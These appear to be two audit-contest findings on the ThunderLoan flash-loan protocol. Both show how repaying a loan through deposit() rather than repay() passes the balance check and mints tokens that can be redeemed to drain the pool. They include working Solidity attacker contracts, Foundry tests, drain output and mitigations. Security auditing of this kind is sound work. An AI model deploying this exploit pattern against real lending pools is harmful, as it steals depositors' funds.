Description
flashloan() verifies repayment purely by checking that the AssetToken contract's ending token balance is at least startingBalance + fee. The intended repayment
path is repay(), which transfers tokens to the AssetToken without minting anything in return. However, deposit() also increases the AssetToken's token balance —
and additionally mints AssetTokens to the caller.
Since deposit() is not blocked during an active flash loan, a borrower can call it from within executeOperation to satisfy the balance check while accumulating
AssetTokens. After the flash loan completes, the attacker calls redeem() to recover the full deposited amount, effectively borrowing for free.
// ThunderLoan.sol
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...); // @> attacker calls deposit() here, not repay()
uint256 endingBalance = token.balanceOf(address(assetToken));
// @> check passes — deposit() sent tokens to assetToken, but attacker holds AssetTokens
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
// ...
// @> mints AssetTokens to caller — no guard against being called during a flash loan
assetToken.mint(msg.sender, mintAmount);
// @> this increases assetToken's balance, satisfying flashloan()'s check
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Risk
Likelihood:
Any flash loan receiver can choose to call deposit() instead of repay() — the protocol enforces nothing about which function is used to restore the balance
The attacker needs only fee worth of tokens as starting capital to execute the full drain
Impact:
The attacker recovers their entire "repayment" via redeem(), netting approximately borrowAmount in profit per attack
LP depositors lose funds proportional to the pool size — a single attacker can drain the entire pool in one transaction
Proof of Concept
contract DepositRepayAttacker is IFlashLoanReceiver {
ThunderLoan immutable i_thunderLoan;
IERC20 immutable i_token;
constructor(ThunderLoan thunderLoan, IERC20 token) {
i_thunderLoan = thunderLoan;
i_token = token;
}
function attack(uint256 amount) external {
i_thunderLoan.flashloan(address(this), i_token, amount, "");
// Redeem the AssetTokens received from deposit() during executeOperation
AssetToken assetToken = i_thunderLoan.getAssetFromToken(i_token);
uint256 assetBalance = assetToken.balanceOf(address(this));
assetToken.approve(address(i_thunderLoan), assetBalance);
i_thunderLoan.redeem(i_token, assetBalance);
}
function executeOperation(
address token, uint256 amount, uint256 fee, address, bytes calldata
) external returns (bool) {
// Deposit borrowed tokens + fee instead of calling repay()
uint256 totalToDeposit = amount + fee;
IERC20(token).approve(address(i_thunderLoan), totalToDeposit);
i_thunderLoan.deposit(IERC20(token), totalToDeposit);
return true;
}
}
function testDepositInsteadOfRepayDrainsPool() public {
// Pool: 1000e18 tokenA. Attacker starts with only the fee (0.3e18).
tokenA.mint(address(attacker), fee);
uint256 attackerBefore = tokenA.balanceOf(address(attacker)); // 0.3e18
uint256 poolBefore = tokenA.balanceOf(address(assetToken)); // 1000e18
attacker.attack(100e18); // borrow 100 tokens
uint256 attackerAfter = tokenA.balanceOf(address(attacker)); // ~100.3e18
uint256 poolAfter = tokenA.balanceOf(address(assetToken)); // ~900e18
assertGt(attackerAfter, attackerBefore + 100e18 - 1e15); // ~100 token profit — PASSES
}
Output:
Attacker balance before: 300000000000000000 (0.3e18 — just the fee)
Pool balance before: 1000000000000000000000
Attacker balance after: 100327437357158047785 (~100e18 profit)
Pool balance after: 899972562642841952215 (~100 tokens drained)
Recommended Mitigation
Block deposit() while a flash loan is active for that token:
// ThunderLoan.sol
error ThunderLoan__CannotDepositDuringFlashLoan();
function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CannotDepositDuringFlashLoan();
}
AssetToken assetToken = s_tokenToAssetToken[token];
// ...
}
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.